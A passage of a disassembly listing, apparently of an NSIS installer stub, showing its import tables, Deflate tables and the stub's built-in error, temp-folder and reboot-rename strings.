XREF: start+92r sub_404AE3+15r ... dword_4070BC dd 77E73803h ; DATA XREF: sub_4020E9:loc_402898r ; sub_4020E9+139Br ... dword_4070C0 dd 77E705B0h ; DATA XREF: start+62r sub_406606+B6r ... dword_4070C4 dd 77E6AD34h ; DATA XREF: start+47r dword_4070C8 dd 77E72D97h ; DATA XREF: sub_404440:loc_40445Fr dword_4070CC dd 77E6869Bh ; DATA XREF: sub_404E2A+206r dword_4070D0 dd 77E71B14h ; DATA XREF: sub_405DE5+35Cr dword_4070D4 dd 77E7166Fh ; DATA XREF: sub_405DE5+323r dword_4070D8 dd 77E736A3h ; DATA XREF: sub_405DE5+319r ; sub_406244+6r dword_4070DC dd 77E7AC37h ; DATA XREF: sub_405DE5+1C5r dword_4070E0 dd 77E61BB8h ; DATA XREF: sub_40618A+3Cr dword_4070E4 dd 77E704DCh ; DATA XREF: sub_406253+144r dword_4070E8 dd 77E7A837h ; DATA XREF: sub_40658F+26r ; sub_406606+DAr dword_4070EC dd 77E6AF8Fh ; DATA XREF: sub_4065BE+2Dr dword_4070F0 dd 77E70192h ; DATA XREF: sub_406606+170r dword_4070F4 dd 77E75090h ; DATA XREF: sub_406606+153r dword_4070F8 dd 77E74D76h ; DATA XREF: sub_406606+114r dword_4070FC dd 77E77797h ; DATA XREF: sub_406606+100r dword_407100 dd 77E73167h ; DATA XREF: sub_4068C9r dword_407104 dd 77E74672h ; DATA XREF: sub_4068CFr dword_407108 dd 77E704FCh ; DATA XREF: sub_4068D5+118r dword_40710C dd 77E72CF4h ; DATA XREF: sub_40201D+78r ; sub_4020E9+971r ... dword_407110 dd 77E73628h ; DATA XREF: sub_4020E9+13E3r ; start+83r ... dword_407114 dd 77E75D9Eh ; DATA XREF: sub_4020E9+12AAr ; sub_406253+75r ... dword_407118 dd 77E75E67h ; DATA XREF: sub_4020E9+127Br ; sub_406253+112r dword_40711C dd 77E78EAAh ; DATA XREF: sub_4020E9+125Ar ; sub_406253+121r ... dword_407120 dd 77E78C81h ; DATA XREF: sub_4020E9+1205r ; sub_4020E9+1235r ... dword_407124 dd 77E79D5Bh ; DATA XREF: sub_4020E9+A90r ; sub_4020E9+AC5r dword_407128 dd 77E7FF65h ; DATA XREF: sub_4020E9+AD9r dword_40712C dd 77E78C17h ; DATA XREF: sub_4020E9+BD2r ; sub_4020E9+C86r ... dword_407130 dd 77E78B82h ; DATA XREF: sub_4020E9+11A1r ; sub_403D9F+17r dword_407134 dd 77E79F93h ; DATA XREF: sub_4020E9+BFCr start+9Ar ... dword_407138 dd 77E805D8h ; DATA XREF: sub_4020E9+C09r ; sub_4041E1+1AFr dword_40713C dd 77E7A5FDh ; DATA XREF: sub_4020E9+C19r ; start+301r ... dword_407140 dd 77E80618h ; DATA XREF: sub_4020E9+C72r dword_407144 dd 77E77CCEh ; DATA XREF: sub_4020E9+DA0r dword_407148 dd 77E7070Eh ; DATA XREF: sub_4020E9+ECDr dword_40714C dd 77E72C64h ; DATA XREF: sub_4020E9+F08r dword_407150 dd 77E79D8Ch ; DATA XREF: sub_4020E9+114Ar ; sub_4020E9+13ADr ... dword_407154 dd 77E7C938h ; DATA XREF: start+8Ar dd 0 dword_40715C dd 77428B97h ; DATA XREF: sub_4020E9+A4Er ; sub_404B17+214r dword_407160 dd 774E3824h ; DATA XREF: sub_404E2A+108r dword_407164 dd 77423EAEh ; DATA XREF: sub_405110+38r ; sub_4068D5+16Fr dword_407168 dd 77423391h ; DATA XREF: sub_40615F+8r dword_40716C dd 773F6FB6h ; DATA XREF: sub_4068D5+161r dword_407170 dd 7746135Fh ; DATA XREF: sub_4020E9+E4Ar align 8 dword_407178 dd 77D902E3h ; DATA XREF: start+377r dword_40717C dd 77D472ECh ; DATA XREF: start+C3r sub_4063FB+Dr ... dword_407180 dd 77D650B3h ; DATA XREF: sub_4041E1+219r dword_407184 dd 77D5D8BAh ; DATA XREF: sub_4041E1:loc_4043AEr dword_407188 dd 77D414D4h ; DATA XREF: sub_4041E1+173r dword_40718C dd 77D4BBDBh ; DATA XREF: sub_4041E1+13Ar dword_407190 dd 77D4DC11h ; DATA XREF: sub_4041E1+122r ; sub_4041E1+1FAr dword_407194 dd 77D4F5CBh ; DATA XREF: sub_4044FB+476r dword_407198 dd 77D481CDh ; DATA XREF: sub_4044FB+418r ; sub_40521F+22r dword_40719C dd 77D45F74h ; DATA XREF: sub_4044FB+40Cr ; sub_405DE5+2A6r dword_4071A0 dd 77D5D417h ; DATA XREF: sub_4044FB+1CFr dword_4071A4 dd 77D47C8Bh ; DATA XREF: sub_4044FB+B6r ; sub_4044FB+103r dword_4071A8 dd 77D49525h ; DATA XREF: sub_4044FB+3Cr ; sub_4044FB+433r dword_4071AC dd 77D4432Ah ; DATA XREF: sub_404A36+30r ; sub_404B17+CEr dword_4071B0 dd 77D43FEDh ; DATA XREF: sub_404A36+1Dr ; sub_40526B+281r dword_4071B4 dd 77D47EE5h ; DATA XREF: sub_404B17+1C3r dword_4071B8 dd 77D4630Dh ; DATA XREF: sub_404B17+1BDr dword_4071BC dd 77D4FF4Ah ; DATA XREF: sub_404B17+8Br dword_4071C0 dd 77D4822Bh ; DATA XREF: sub_40521F+6r dword_4071C4 dd 77D5BC81h ; DATA XREF: sub_40526B+7Er dword_4071C8 dd 77D5BA26h ; DATA XREF: sub_405BC5+DBr dword_4071CC dd 77D4747Ch ; DATA XREF: sub_405BC5+4Cr dword_4071D0 dd 77D5E303h ; DATA XREF: sub_405DE5+36Dr dword_4071D4 dd 77D6BB4Ch ; DATA XREF: sub_405DE5+367r dword_4071D8 dd 77D6BB30h ; DATA XREF: sub_405DE5+310r dword_4071DC dd 77D5E310h ; DATA XREF: sub_405DE5+30Ar dword_4071E0 dd 77D7BF7Ah ; DATA XREF: sub_405DE5+2C8r dword_4071E4 dd 77D5DD3Ah ; DATA XREF: sub_405DE5+293r dword_4071E8 dd 77D49B9Ch ; DATA XREF: sub_405DE5+27Er dword_4071EC dd 77D477C0h ; DATA XREF: sub_405DE5+B3r dword_4071F0 dd 77D6272Dh ; DATA XREF: sub_4061E0r dword_4071F4 dd 77D6274Fh ; DATA XREF: sub_4061E6+13r dword_4071F8 dd 77D6ADD7h ; DATA XREF: sub_406202+39r dword_4071FC dd 77D47322h ; DATA XREF: sub_4063CF+Fr ; sub_406417+14r ... dword_407200 dd 77D5E69Dh ; DATA XREF: sub_4038D5+15Er ; sub_4044FB+3DCr dword_407204 dd 77D49A11h ; DATA XREF: sub_4038D5+1BCr ; sub_4038D5+1CDr ... dword_407208 dd 77D444F0h ; DATA XREF: sub_403849+20r dword_40720C dd 77D5BB6Ch ; DATA XREF: sub_403849+69r ; sub_404440+B0r ... dword_407210 dd 77D4B816h ; DATA XREF: sub_4020E9+80r dword_407214 dd 77D47F34h ; DATA XREF: sub_4020E9+103r dword_407218 dd 77D47D27h ; DATA XREF: sub_4020E9+158r ; sub_4020E9+9E4r ... dword_40721C dd 77D4C96Ah ; DATA XREF: sub_4020E9+732r ; sub_4020E9+A20r ... dword_407220 dd 77D5C3E2h ; DATA XREF: sub_4020E9+846r dword_407224 dd 77D651AFh ; DATA XREF: sub_4020E9+88Cr dword_407228 dd 77D45B19h ; DATA XREF: sub_4020E9+8ADr dword_40722C dd 77D48AA8h ; DATA XREF: sub_4020E9+8D3r ; sub_4020E9+8FEr ... dword_407230 dd 77D49951h ; DATA XREF: sub_4020E9+8EFr ; sub_4044FB+8Br ... dword_407234 dd 77D4D42Bh ; DATA XREF: sub_4020E9+92Cr ; sub_4041E1+DBr dword_407238 dd 77D45F40h ; DATA XREF: sub_4020E9+95Br dword_40723C dd 77D4816Dh ; DATA XREF: sub_4020E9:loc_402AD8r ; sub_4044FB+2E2r ... dword_407240 dd 77D441F2h ; DATA XREF: sub_4020E9+AA9r ; sub_4038D5+196r dword_407244 dd 77D4590Ch ; DATA XREF: sub_4020E9+14F9r dword_407248 dd 77D4702Fh ; DATA XREF: sub_40201D+88r ; sub_4020E9+85Er ... dword_40724C dd 77D46F5Bh ; DATA XREF: sub_401E32+2Cr dword_407250 dd 77D458EEh ; DATA XREF: sub_401E32+47r dword_407254 dd 77D45F23h ; DATA XREF: sub_401E32+5Br ; sub_4020E9+90Br ... dword_407258 dd 77D463A6h ; DATA XREF: sub_401E32+E4r dword_40725C dd 77D5C7A1h ; DATA XREF: sub_401E32+156r dword_407260 dd 77D458FDh ; DATA XREF: sub_401E32+16Er dword_407264 dd 77D46E60h ; DATA XREF: sub_4020E9+A9Dr ; sub_4038D5+1A7r dd 0 dword_40726C dd 77C015E3h ; DATA XREF: sub_406BF6r dword_407270 dd 77C0162Dh ; DATA XREF: sub_406BF0r dword_407274 dd 77C0167Dh ; DATA XREF: sub_406BEAr dd 0 dword_40727C dd 771C8E66h ; DATA XREF: start+21r sub_405D83+10r dword_407280 dd 771F5164h ; DATA XREF: start+1C9r sub_405D83+52r dword_407284 dd 771C1E56h ; DATA XREF: sub_4020E9+CE4r dd 0 byte_40728C db 10h ; DATA XREF: sub_401000+3C0r ; sub_401000+3E7r db 11h, 12h, 0 dd 6090708h, 40B050Ah, 20D030Ch, 0F010Eh dword_4072A0 dd 40003h, 60005h, 80007h, 0A0009h, 0D000Bh, 11000Fh, 170013h ; DATA XREF: sub_401000+162o ; sub_401000+5C5o dd 1F001Bh, 2B0023h, 3B0033h, 530043h, 730063h, 0A30083h dd 0E300C3h, 102h, 0 dword_4072E0 dd 4 dup(0) ; DATA XREF: sub_401000+15Do ; sub_401000+5C0o dd 2 dup(10001h), 2 dup(20002h), 2 dup(30003h), 2 dup(40004h) dd 2 dup(50005h), 700000h, 70h dword_407320 dd 20001h, 40003h, 70005h, 0D0009h, 190011h, 310021h, 610041h ; DATA XREF: sub_401000+197o ; sub_401000+605o dd 0C10081h, 1810101h, 3010201h, 6010401h, 0C010801h, 18011001h dd 30012001h, 60014001h dword_40735C dd 2 dup(0) ; DATA XREF: sub_401000+192o ; sub_401000+600o dd 10001h, 20002h, 30003h, 40004h, 50005h, 60006h, 70007h dd 80008h, 90009h, 0A000Ah, 0B000Bh, 0C000Ch, 0D000Dh dword_407398 dd 214EEh, 0 ; DATA XREF: sub_4020E9+CD7o dd 0C0h, 46000000h dword_4073A8 dd 21401h, 0 ; DATA XREF: sub_4020E9+CDFo dd 0C0h, 46000000h dword_4073B8 dd 10Bh, 0 ; DATA XREF: sub_4020E9+CF9o dd 0C0h, 46000000h, 74A4h, 2 dup(0) dd 7746h, 7028h, 74DCh, 2 dup(0) dd 7B8Eh, 7060h, 75F4h, 2 dup(0) dd 7F68h, 7178h, 74B8h, 2 dup(0) dd 7FFAh, 703Ch, 747Ch, 2 dup(0) dd 809Ah, 7000h, 75D8h, 2 dup(0) dd 8126h, 715Ch, 76F8h, 2 dup(0) dd 8168h, 727Ch, 76E8h, 2 dup(0) dd 81B4h, 726Ch, 5 dup(0) dd 8004h, 8022h, 8036h, 8048h, 808Ah, 807Ah, 8068h, 805Ah dd 8014h, 0 dd 80000011h, 771Ch, 7708h, 7732h, 0 dd 7FDCh, 7FCCh, 7FB6h, 7FA0h, 7F94h, 7F84h, 7FECh, 7F74h dd 0 dd 78A2h, 78BEh, 78D8h, 78E4h, 78F2h, 7900h, 7916h, 7928h dd 7936h, 794Ah, 795Eh, 796Ah, 7976h, 798Eh, 79A2h, 79B8h dd 79C0h, 79CEh, 79E4h, 79F4h, 7A08h, 7A14h, 7A22h, 7894h dd 7A40h, 7A58h, 7A68h, 7A80h, 7A94h, 7AA4h, 7AB2h, 7AC0h dd 7AD0h, 7AE2h, 7AF6h, 7B04h, 7B18h, 7B28h, 7B3Ah, 7B4Ah dd 7B60h, 7B6Ch, 7B78h, 7754h, 775Eh, 776Ch, 777Eh, 778Eh dd 779Ah, 787Eh, 7868h, 7858h, 77ACh, 7844h, 7834h, 7822h dd 7814h, 77FEh, 77E0h, 77C4h, 77B8h, 7A2Eh, 0 dd 80BCh, 80CCh, 80E2h, 80FAh, 8108h, 80A8h, 0 dd 7D34h, 7D44h, 7D50h, 7D62h, 7D72h, 7D84h, 7D9Ch, 7DAEh dd 7DBAh, 7DCCh, 7DDCh, 7DECh, 7DFEh, 7E0Eh, 7E1Ch, 7E2Eh dd 7E3Ch, 7E48h, 7E5Ah, 7E6Ah, 7E78h, 7E8Ah, 7E9Ch, 7EAEh dd 7EC2h, 7ED4h, 7EE4h, 7EF6h, 7F04h, 7F16h, 7F2Ah, 7F3Ch dd 7F4Eh, 7F5Ch, 7D1Eh, 7D0Eh, 7D02h, 7CF0h, 7CDEh, 7CC8h dd 7CBAh, 7CAEh, 7C98h, 7C88h, 7C7Ch, 7C6Eh, 7C5Ch, 7C4Eh dd 7C46h, 7C36h, 7C12h, 7C00h, 7BF0h, 7BDEh, 7BD0h, 7BC0h dd 7BB4h, 7BA8h, 7B9Ch, 7C26h, 0 dd 819Ah, 8184h, 8172h, 0 dd 8158h, 8146h, 8132h, 0 db 38h ; 8 align 2 aImagelist_dest db 'ImageList_Destroy',0 a4 db '4',0 aImagelist_addm db 'ImageList_AddMasked',0 a7 db '7',0 aImagelist_crea db 'ImageList_Create',0 align 2 aComctl32_dll db 'COMCTL32.dll',0 align 4 db 6Ah ; j db 2, 4Dh, 75h aLdiv db 'lDiv',0 align 2 db '|',0 aDeletefilea db 'DeleteFileA',0 db 'É',0 aFindfirstfilea db 'FindFirstFileA',0 align 2 db 'Ó',0 aFindnextfilea db 'FindNextFileA',0 db 'Å',0 aFindclose db 'FindClose',0 dw 310h aSetfilepointer db 'SetFilePointer',0 align 4 db 0ABh ; « db 2, 52h, 65h aAdfile db 'adFile',0 align 4 db 97h ; — db 3, 57h, 72h aItefile db 'iteFile',0 db 94h ; ” db 1, 47h, 65h aTprivateprofil db 'tPrivateProfileStringA',0 align 10h db 9Ch ; œ db 3, 57h, 72h aIteprivateprof db 'itePrivateProfileStringA',0 align 2 dw 26Bh aMultibytetowid db 'MultiByteToWideChar',0 aQ db 'ï',0 aFreelibrary db 'FreeLibrary',0 dw 198h aGetprocaddress db 'GetProcAddress',0 align 4 db 48h ; H db 2, 4Ch, 6Fh aAdlibrarya db 'adLibraryA',0 align 4 db 77h ; w db 1, 47h, 65h aTmodulehandlea db 'tModuleHandleA',0 align 4 db 0Ah db 3, 53h, 65h aTerrormode db 'tErrorMode',0 align 4 db 52h ; R db 1, 47h, 65h aTexitcodeproce db 'tExitCodeProcess',0 align 2 dw 385h aWaitforsingleo db 'WaitForSingleObject',0 dd 6C4701F5h, 6C61626Fh, 65657246h, 0B20000h aExpandenvironm db 'ExpandEnvironmentStringsA',0 dw 150h aGetenvironment db 'GetEnvironmentVariableA',0 db 0B6h ; ¶ db 3, 6Ch, 73h aTrcmpia db 'trcmpiA',0 a__0 db '.',0 aClosehandle db 'CloseHandle',0 dw 314h aSetfiletime db 'SetFileTime',0 db 56h ; V db 1, 47h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 a3 db '3',0 aComparefiletim db 'CompareFileTime',0 dd 655302D0h, 68637261h, 68746150h, 1AD0041h aGetshortpathna db 'GetShortPathNameA',0 dw 161h aGetfullpathnam db 'GetFullPathNameA',0 align 2 dw 264h aMovefilea db 'MoveFileA',0 dw 3B0h aLstrcata db 'lstrcatA',0 align 2 dw 2FFh aSetcurrentdire db 'SetCurrentDirectoryA',0 align 2 aE db 'E',0 aCreatedirector db 'CreateDirectoryA',0 align 2 dw 30Eh aSetfileattribu db 'SetFileAttributesA',0 align 4 dd 6C530349h, 706565h, 6547015Bh, 6C694674h, 7A695365h dd 1750065h aGetmodulefilen db 'GetModuleFileNameA',0 align 4 db 0D5h ; Õ db 1, 47h, 65h aTtickcount db 'tTickCount',0 align 4 db 3Ah ; : db 1, 47h, 65h aTcurrentproces db 'tCurrentProcess',0 db '=',0 aCopyfilea db 'CopyFileA',0 aP db '¯',0 aExitprocess db 'ExitProcess',0 dw 3BCh aLstrcpyna db 'lstrcpynA',0 dw 108h aGetcommandline db 'GetCommandLineA',0 db 0E9h ; é db 1, 47h, 65h aTwindowsdirect db 'tWindowsDirectoryA',0 align 4 db 0CBh ; Ë db 1, 47h, 65h aTtemppatha db 'tTempPathA',0 align 4 db 0DAh ; Ú db 1, 47h, 65h aTuserdefaultla db 'tUserDefaultLangID',0 align 10h db 45h ; E db 1, 47h, 65h aTdiskfreespace db 'tDiskFreeSpaceA',0 dd 6C470200h, 6C61626Fh, 6F6C6E55h, 6B63h, 6C4701F9h, 6C61626Fh dd 6B636F4Ch, 1EE0000h, 626F6C47h, 6C416C61h, 636F6Ch dd 72430069h, 65746165h, 65726854h, 6461h, 72430060h, 65746165h dd 636F7250h, 41737365h, 2BA0000h, 6F6D6552h, 69446576h dd 74636572h, 4179726Fh, 4D0000h, 61657243h, 69466574h dd 41656Ch, 654701C9h, 6D655474h, 6C694670h, 6D614E65h dd 4165h, 65530305h, 646E4574h, 6946664Fh, 656Ch, 6E550365h dd 5670616Dh, 4F776569h, 6C694666h, 25E0065h, 5670614Dh dd 4F776569h, 6C694666h, 4E0065h aCreatefilemapp db 'CreateFileMappingA',0 align 10h db 0B9h ; ¹ db 3, 6Ch, 73h aTrcpya db 'trcpyA',0 align 4 db 0BFh ; ¿ db 3, 6Ch, 73h aTrlena db 'trlenA',0 align 4 db 0B9h ; ¹ db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 aKernel32_dll_0 db 'KERNEL32.dll',0 align 4 db 'È',0 aEndpaint db 'EndPaint',0 align 4 db '¼',0 aDrawtexta db 'DrawTextA',0 aT db 'â',0 aFillrect db 'FillRect',0 align 10h db 0FFh align 2 aGetclientrect db 'GetClientRect',0 db 0Dh,0 aBeginpaint db 'BeginPaint',0 align 2 aO db 'Ž',0 aDefwindowproca db 'DefWindowProcA',0 align 10h db 3Ah ; : db 2, 53h, 65h aNdmessagea db 'ndMessageA',0 align 10h db 93h ; “ db 1, 49h, 6Eh aValidaterect db 'validateRect',0 align 2 aB db '¡',0 aDispatchmessag db 'DispatchMessageA',0 align 2 dw 1FFh aPeekmessagea db 'PeekMessageA',0 align 2 db 'Ä',0 aEnablewindow db 'EnableWindow',0 align 2 dw 10Ch aGetdc db 'GetDC',0 dw 1BFh aLoadimagea db 'LoadImageA',0 align 4 db 7Fh ; db 2, 53h, 65h aTwindowlonga db 'tWindowLongA',0 align 2 dw 111h aGetdlgitem db 'GetDlgItem',0 align 4 db 0ADh ; db 1, 49h, 73h aWindow db 'Window',0 align 4 aF db 'ä',0 aFindwindowexa db 'FindWindowExA',0 db 3Dh ; = db 2, 53h, 65h aNdmessagetimeo db 'ndMessageTimeoutA',0 dw 2D5h aWsprintfa db 'wsprintfA',0 dw 291h aShowwindow db 'ShowWindow',0 align 4 db 56h ; V db 2, 53h, 65h aTforegroundwin db 'tForegroundWindow',0 dw 203h aPostquitmessag db 'PostQuitMessage',0 dd 65530285h, 6E695774h, 54776F64h, 41747865h, 2790000h dd 54746553h, 72656D69h, 990000h, 74736544h, 57796F72h dd 6F646E69h, 550077h aCreatedialogpa db 'CreateDialogParamA',0 align 4 aS db 'á',0 aExitwindowsex db 'ExitWindowsEx',0 db '*',0 aCharnexta db 'CharNextA',0 aU db 'ž',0 aDialogboxparam db 'DialogBoxParamA',0 dw 0F6h aGetclassinfoa db 'GetClassInfoA',0 db '`',0 aCreatewindowex db 'CreateWindowExA',0 db 98h ; ˜ db 2, 53h, 79h aStemparameters db 'stemParametersInfoA',0 db 15h db 2, 52h, 65h aGisterclassa db 'gisterClassA',0 align 2 db 'Æ',0 aEnddialog db 'EndDialog',0 dw 230h aScreentoclient db 'ScreenToClient',0 align 4 db 74h ; t db 1, 47h, 65h aTwindowrect db 'tWindowRect',0 db 46h ; F db 2, 53h, 65h aTclasslonga db 'tClassLongA',0 db 0AEh ; ® db 1, 49h, 73h aWindowenabled db 'WindowEnabled',0 dw 282h aSetwindowpos db 'SetWindowPos',0 align 2 dw 15Ah aGetsyscolor db 'GetSysColor',0 db 6Eh ; n db 1, 47h, 65h aTwindowlonga_0 db 'tWindowLongA',0 align 2 dw 1B9h aLoadcursora db 'LoadCursorA',0 db 4Ch ; L db 2, 53h, 65h aTcursor db 'tCursor',0 a8 db '8',0 aCheckdlgbutton db 'CheckDlgButton',0 align 2 dw 13Ch aGetmessagepos db 'GetMessagePos',0 dw 1B7h aLoadbitmapa db 'LoadBitmapA',0 db 1Bh,0 aCallwindowproc db 'CallWindowProcA',0 dw 1B1h aIswindowvisibl db 'IsWindowVisible',0 aB_0 db 'B',0 aCloseclipboard db 'CloseClipboard',0 align 2 dw 249h aSetclipboardda db 'SetClipboardData',0 align 2 db 'Á',0 aEmptyclipboard db 'EmptyClipboard',0 align 4 db 0F5h ; õ db 1, 4Fh, 70h aEnclipboard db 'enClipboard',0 db 0A3h ; £ db 2, 54h, 72h aAckpopupmenu db 'ackPopupMenu',0 align 2 db 8,0 aAppendmenua db 'AppendMenuA',0 db '^',0 aCreatepopupmen db 'CreatePopupMenu',0 dw 15Dh aGetsystemmetri db 'GetSystemMetrics',0 align 2 dw 252h aSetdlgitemtext db 'SetDlgItemTextA',0 db 13h db 1, 47h, 65h aTdlgitemtexta db 'tDlgItemTextA',0 dw 1DEh aMessageboxa db 'MessageBoxA',0 db '-',0 aCharpreva db 'CharPrevA',0 aUser32_dll db 'USER32.dll',0 align 4 db 0Eh db 2, 53h, 65h aLectobject db 'lectObject',0 align 4 db 3Ch ; < db 2, 53h, 65h aTtextcolor db 'tTextColor',0 align 4 db 16h db 2, 53h, 65h aTbkmode db 'tBkMode',0 db ':',0 aCreatefontindi db 'CreateFontIndirectA',0 db ')',0 aCreatebrushind db 'CreateBrushIndirect',0 aP_0 db '',0 aDeleteobject db 'DeleteObject',0 align 4 db 6Bh ; k db 1, 47h, 65h aTdevicecaps db 'tDeviceCaps',0 db 15h db 2, 53h, 65h aTbkcolor db 'tBkColor',0 align 2 aGdi32_dll db 'GDI32.dll',0 db 0D9h ; Ù db 1, 52h, 65h aGenumvaluea db 'gEnumValueA',0 db 0D5h ; Õ db 1, 52h, 65h aGenumkeya db 'gEnumKeyA',0 dw 1ECh aRegqueryvaluee db 'RegQueryValueExA',0 align 2 dw 1F9h aRegsetvalueexa db 'RegSetValueExA',0 align 4 db 0CDh ; Í db 1, 52h, 65h aGcreatekeyexa db 'gCreateKeyExA',0 dw 1C9h aRegclosekey db 'RegCloseKey',0 db 0D2h ; Ò db 1, 52h, 65h aGdeletevaluea db 'gDeleteValueA',0 dw 1D0h aRegdeletekeya db 'RegDeleteKeyA',0 dw 1E2h aRegopenkeyexa db 'RegOpenKeyExA',0 aAdvapi32_dll_0 db 'ADVAPI32.dll',0 align 4 db 'š',0 aShfileoperatio db 'SHFileOperationA',0 align 4 db 7 db 1, 53h, 68h aEllexecutea db 'ellExecuteA',0 aY db 'y',0 aShbrowseforfol db 'SHBrowseForFolderA',0 align 2 db '¼',0 aShgetpathfromi db 'SHGetPathFromIDListA',0 align 2 db '·',0 aShgetmalloc db 'SHGetMalloc',0 db 'Ã',0 aShgetspecialfo db 'SHGetSpecialFolderLocation',0 align 2 aShell32_dll db 'SHELL32.dll',0 dw 10h aCocreateinstan db 'CoCreateInstance',0 align 2 dw 104h aOleuninitializ db 'OleUninitialize',0 aA db 'í',0 aOleinitialize db 'OleInitialize',0 aOle32_dll db 'ole32.dll',0 db 0Ah,0 aVerqueryvaluea db 'VerQueryValueA',0 align 4 db 0 align 2 aGetfileversion db 'GetFileVersionInfoA',0 dw 1 aGetfileversi_0 db 'GetFileVersionInfoSizeA',0 aVersion_dll db 'VERSION.dll',0 _rdata ends ; Section 3. (virtual address 00009000) ; Virtual size : 000260D4 ( 155860.) ; Section size in file : 000260D4 ( 155860.) ; Offset to raw data for section: 00009000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 409000h word_409000 dw 0 ; DATA XREF: sub_401000+47Cr ; sub_401000+501r ... dw 1 dd 70003h, 1F000Fh, 7F003Fh, 1FF00FFh, 7FF03FFh, 1FFF0FFFh dd 7FFF3FFFh, 0FFFFh byte_409024 db 9 ; DATA XREF: sub_401000+153o ; sub_401000:loc_4011B0r align 4 byte_409028 db 5 ; DATA XREF: sub_401000+188o ; sub_401000+1B8r align 4 off_40902C dd offset dword_42F0A0 ; DATA XREF: sub_4020E9:loc_402D2Do dd offset sub_40201D dword_409034 dd 6 ; DATA XREF: sub_4020E9+B6r ; sub_4020E9+D0w dword_409038 dd 5Ch ; DATA XREF: sub_4020E9+B93o ; sub_406253:loc_4062AEo ... aSS db '%s %s',0 ; DATA XREF: sub_4020E9+A14o align 4 asc_409044 db '->',0 ; DATA XREF: sub_4020E9+26Fo align 4 dword_409048 dd 0FFFFFFFFh ; DATA XREF: sub_4038D5+4Ew ; sub_403D9F+11r ... align 10h aTheInstallerYo db 'The installer you are trying to use is corrupted or incomplete.',0Ah ; DATA XREF: sub_4038D5:loc_403B09o db 'This could be the result of a damaged disk, a failed download or ' db 'a virus.',0Ah db 0Ah db 'You may want to contact the author of this installer to obtain a ' db 'new copy.',0Ah db 0Ah db 'It may be possible to skip this check using the /NCRC command lin' db 'e switch',0Ah db '(NOT RECOMMENDED).',0 aVerifyingInsta db 'verifying installer: %d%%',0 ; DATA XREF: sub_4038D5+14Ao align 10h aErrorLaunching db 'Error launching installer',0 ; DATA XREF: sub_4038D5+56o ; start+180o align 4 a___D db '... %d%%',0 ; DATA XREF: sub_403B73+141o align 4 aANsisu__exe db 'A~NSISu_.exe',0 ; DATA XREF: start+215o ; start:loc_4040E5w align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: start+34Co aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: start+319o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: start+30Fo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: start+307o align 10h aAdvapi32_dll db 'ADVAPI32.dll',0 ; DATA XREF: start+2F0o align 10h a_? db ' _?=',0 ; DATA XREF: start+29Co align 4 asc_409248 db '" ',0 ; DATA XREF: start:loc_4040A9o align 4 aTemp db '\Temp',0 ; DATA XREF: start+68o align 4 aNsisError db 'NSIS Error',0 ; DATA XREF: start+27o align 10h aErrorWritingTe db 'Error writing temporary file. Make sure your temp folder is valid' ; DATA XREF: start+Do db '.',0 align 4 dword_4092A4 dd 0FFFFFFFFh ; DATA XREF: sub_4044FB+A4r ; sub_4044FB+120r ... off_4092A8 dd offset sub_404B17 ; DATA XREF: sub_4044FB+3C0r dd offset sub_40526B dd offset sub_404E2A dd offset sub_405DE5 dd offset sub_404DE3 dword_4092BC dd 0FFFFFFFFh ; DATA XREF: sub_405BC5+35w ; sub_405BC5+90r ... dword_4092C0 dd 6 ; DATA XREF: sub_4020E9+BBw ; sub_4020E9:loc_4021AEr ... aRichedit20a db 'RichEdit20A',0 ; DATA XREF: sub_4041E1+1D3o ; sub_4041E1+1E4w ... aRiched20_dll db 'RichEd20.dll',0 ; DATA XREF: sub_4041E1+1B5o ; sub_4041E1+1C2w align 10h a_exe db '.exe',0 ; DATA XREF: sub_4041E1+81o align 4 aOpen db 'open',0 ; DATA XREF: sub_404B17+20Co align 10h aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_404E2A+1C0o aKernel32_dll db 'KERNEL32.dll',0 ; DATA XREF: sub_404E2A:loc_404FD6o ; sub_406606+4o align 4 aD_DSS db '%d.%d%s%s',0 ; DATA XREF: sub_405176+5Bo align 10h a_ db '\*.*',0 ; DATA XREF: sub_406253+4Bo align 4 asc_409328 db 0Ah ; DATA XREF: sub_406606+18Do db '[',0 align 4 aRename db '[Rename]',0Dh,0Ah,0 ; DATA XREF: sub_406606+120o ; sub_406606+132o align 4 aWininit_ini db '\wininit.ini',0 ; DATA XREF: sub_406606+BCo align 4 aSS_0 db '%s=%s',0Dh,0Ah,0 ; DATA XREF: sub_406606+9Bo aMovefileexa db 'MoveFileExA',0 ; DATA XREF: sub_406606+17o aD db '%d',0 ; DATA XREF: sub_406827+4o align 10h aCProgramFiles db 'C:\Program Files',0 ; DATA XREF: sub_4068D5+102o align 4 aProgramfilesdi db 'ProgramFilesDir',0 ; DATA XREF: sub_4068D5+E5o aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4068D5+D0o ; sub_4068D5+EAo align 10h aCommonfilesdir db 'CommonFilesDir',0 ; DATA XREF: sub_4068D5+CBo align 10h aMicrosoftInter db '\Microsoft\Internet Explorer\Quick Launch',0 ; DATA XREF: sub_4068D5+B8o align 4 a? db '*?|<>/":',0 ; DATA XREF: sub_406B09+50o align 4 dword_4093F8 dd 0 ; DATA XREF: sub_401000+18Do ; sub_401000+1C8r dword_4093FC dd 0 ; DATA XREF: sub_401000+158o ; sub_401000+1C0r dword_409400 dd 8Fh dup(0) ; DATA XREF: sub_401000+114o ; sub_401000+148o ... dword_40963C dd 71h dup(0) ; DATA XREF: sub_401000:loc_401119o dword_409800 dd 18h dup(0) ; DATA XREF: sub_401000+122o dword_409860 dd 8 dup(0) ; DATA XREF: sub_401000:loc_40112Do dword_409880 dd 4 ; DATA XREF: sub_401000+13Eo ; sub_401AF7+E8w ... dd 13h, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h, 11h, 12h, 7 dd 8, 9, 14h, 15h, 3, 5, 6, 16h, 0A2h, 0A5h, 0AAh, 0AEh dd 0E1h, 0E2h, 105h, 106h, 29h, 2Bh, 53h, 62h, 63h, 64h dd 66h, 68h, 6Dh, 76h, 79h, 0A4h, 